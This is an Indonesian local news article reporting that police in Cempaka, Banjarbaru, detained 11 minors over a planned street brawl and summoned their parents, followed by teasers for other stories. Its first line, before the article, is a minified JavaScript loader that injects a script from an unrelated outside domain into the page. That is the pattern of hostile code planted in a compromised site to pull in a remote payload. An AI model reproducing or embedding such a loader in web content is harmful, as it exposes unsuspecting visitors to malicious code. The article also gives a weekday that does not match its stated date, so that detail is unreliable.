(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sedikitnya ada 11 remaja berhasil digiring ke Mapolsek Cempaka lantaran didapati hendak tawuran di Jalan Mistar Cokrokusumo Kecamatan Cempaka, Kota Banjarbaru.
Rencana aksi tawuran tersebut terekam dan viral beredar di media sosial.
Dalam rekaman video yang beredar, warga nampak berusaha mengamankan sejumlah remaja yang berpenampilan ala gangster di Sungai Basung, Kelurahan Sungai Tiung Kecamatan Cempaka, Kota Banjarbaru.
Dalam keterangan, Kapolsek Cempaka Iptu Ketut Sedemen menyatakan bahwa pihak kepolisian sebelumnya telah mendapati adanya laporan remaja yang diduga hendak melakukan tawuran pada Jumat (17/1/2024) dini hari menjelang subuh tersebut.
Baca juga: Tim Banjarbaru Hanyar Siapkan Empat Ahli di Sidang Gugatan MK
Polsek Cempaka mendatangi lokasi kemudian menemukan sekumpulan anak di bawah umur yang diduga ingin tawuran.
“Ketika kita datang mereka membubarkan diri lari ke sana kemari,” ujar Kapolsek Cempaka, Iptu Ketut Sedemen.
Dalam pengejaran pihak kepolisian bersama warga, berhasil diamankan dua anak remaja ke Mapolsek Cempaka untuk diperiksa.
Warga saat ikut membubarkan kelompok remaja yang diduga hendak tawuran di Jalan Mistar Cokrokusumo, Basung, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru. Foto: tangkapan layar
Baca juga: Kapolres HSU Serahkan Tiga Ekor Sapi untuk Acara Haul Guru Danau
Selama beberapa jam hingga keesokan harinya, polisi melakukan pengembangan pemeriksaan dengan berhasil mengamankan total 11 remaja di bawah umur.
“Total jumlah yang kita amankan adalah 11 orang yang semuanya masih kategori di bawah umur,” sambungnya.
11 anak di bawah umur ini pun kembali diintrogasi terkait motif dan tujuan melakukan kegiatan tawuran tersebut. Para remaja itu, kata Kapolsek Cempaka, mengaku ikut-ikutan.
“Kejadian bermula saat mereka berkumpul kemudian mereka mendapatkan ajakan tawuran melalui media sosial, lalu serta merta mereka ikut kejadian itu,” ungkap Kapolsek.
Baca juga: Waspada Durasi Musim Hujan Lama, Diprediksi Terjadi Sampai Pertengahan Tahun
“Mereka mengaku hanya ikut-ikutan saja, karena diajak kawan dan itu ketika diajak pun mereka tidak tahu tujuannya apa, sehingga karena pengawasan orangtua yang lemah akhirnya arahnya ingin menjadi dirinya tapi menjadi diri yang salah,” jelasnya.
Polisi kemudian memanggil seluruh jajaran penyidik termasuk Bhabinkamtibmas, Babinsa, tokoh masyarakat, tokoh agama, dan para orangtua 11 remaja tersebut.
“Hari Sabtu siang sudah kita laksanakan pembinaan dalam artian kita panggil seluruh orangtuanya menjadi penjamin dengan menandatangi pernyataan agar anak-anak mereka tidak melakukan hal yang serupa di kemudian hari,” tegasnya.
Polisi meminta dengan tegas agar para orangtua dapat menjaga anak-anak mereka dan apabila ditemukan lagi kejadian ini di kemudian hari maka polisi dapat dengan tegas melanjutkan proses sesuai dengan aturan yang berlaku. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
This website uses cookies.